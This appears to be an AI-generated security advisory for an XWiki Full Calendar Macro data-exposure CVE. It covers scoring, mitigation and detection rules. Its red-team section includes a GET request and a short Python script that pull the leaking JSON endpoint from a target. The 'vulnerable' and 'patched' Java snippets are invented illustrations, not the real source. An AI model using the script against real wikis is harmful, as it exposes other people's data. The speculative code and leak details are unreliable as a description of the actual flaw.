CVE-2025-65090

Executive Summary

CVE-2025-65090 is a data exposure vulnerability in the XWiki Full Calendar Macro, affecting versions prior to 2.4.6. The vulnerability allows users with view rights to the Calendar.JSONService page (including unauthenticated guest users) to leak database information, excluding passwords. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood. The vendor has released a patch in version 2.4.6.

Supply Chain & Package Security

This vulnerability affects the XWiki platform, which is a Java-based wiki software. The Full Calendar Macro is an extension that can be installed via the XWiki Extension Manager. Organizations using XWiki should verify their version and update the Full Calendar Macro to version 2.4.6 or later.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - Guest users can exploit the vulnerability.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited data exposure (database info, excluding passwords).
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The vulnerability allows information disclosure but does not expose passwords or allow code execution.

Deep Dive & Mechanics

The XWiki Full Calendar Macro is designed to display objects from the wiki on a calendar. It uses the Calendar.JSONService to retrieve data. The vulnerability arises because the service does not properly enforce access controls, allowing any user with view rights (including guests) to query the service and retrieve database information.

The service likely uses a script or REST endpoint that queries the database without proper authorization checks. An attacker can craft a request to the Calendar.JSONService endpoint to extract metadata, table names, column names, or other non-password database information.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.4.6): The vulnerable code likely lacks proper authorization checks in the Calendar.JSONService. For example, it might use a generic query without verifying the user's permissions.

// Vulnerable: No permission check
public JSONObject getCalendarData() {
    // Directly query database
    return database.query("SELECT * FROM calendar_events");
}

Patched Code (2.4.6): The patched version adds authorization checks to ensure only authorized users can access the service.

// Patched: Permission check added
public JSONObject getCalendarData() {
    if (!hasViewPermission()) {
        throw new AccessDeniedException();
    }
    return database.query("SELECT * FROM calendar_events");
}

Exploitation & Lab Setup

Red Team

1. Identify Target: Find XWiki instances with the Full Calendar Macro installed.
2. Craft Request: Send a GET request to the Calendar.JSONService endpoint.

   GET /xwiki/bin/get/Calendar/JSONService?outputSyntax=plain HTTP/1.1
   Host: target-xwiki.com
   

3. Extract Data: Parse the JSON response to extract database information.

Example Exploit Script (Python):

import requests

target = "http://target-xwiki.com/xwiki/bin/get/Calendar/JSONService"
response = requests.get(target, params={"outputSyntax": "plain"})
if response.status_code == 200:
    print(response.json())
else:
    print("Failed to exploit")

Blue Team

1. Monitor Access Logs: Look for unusual requests to /Calendar/JSONService from unauthenticated users.
2. Rate Limiting: Implement rate limiting on the Calendar.JSONService endpoint.
3. Web Application Firewall (WAF): Block requests to /Calendar/JSONService from untrusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /xwiki/bin/get/Calendar/JSONService from unauthenticated sources.
  • Unusual JSON responses containing database metadata.

• File IOCs:

  • Log entries showing access to Calendar.JSONService by guest users.

• System IOCs:

  • Unauthorized database queries in XWiki logs.

Detection Engineering

YARA Rule

rule CVE_2025_65090_XWiki_Data_Leak {
    meta:
        description = "Detects exploitation attempts of CVE-2025-65090"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-65090"
    strings:
        $s1 = "Calendar.JSONService" nocase
        $s2 = "outputSyntax=plain" nocase
    condition:
        any of them
}

Sigma Rule

title: XWiki Full Calendar Data Leak Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65090
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "Calendar.JSONService"
    condition: selection
falsepositives:
    - Legitimate admin access
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65090 XWiki Data Leak Attempt"; flow:to_server; content:"Calendar.JSONService"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade the XWiki Full Calendar Macro to version 2.4.6 or later.
2. Workaround: If upgrade is not possible, restrict access to the Calendar.JSONService endpoint using web server rules or a reverse proxy.
3. Monitoring: Enable detailed logging for the Calendar.JSONService endpoint and monitor for suspicious activity.
4. Access Control: Review and enforce least privilege principles for all XWiki users.

Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence. For further analysis, contact Valters IT.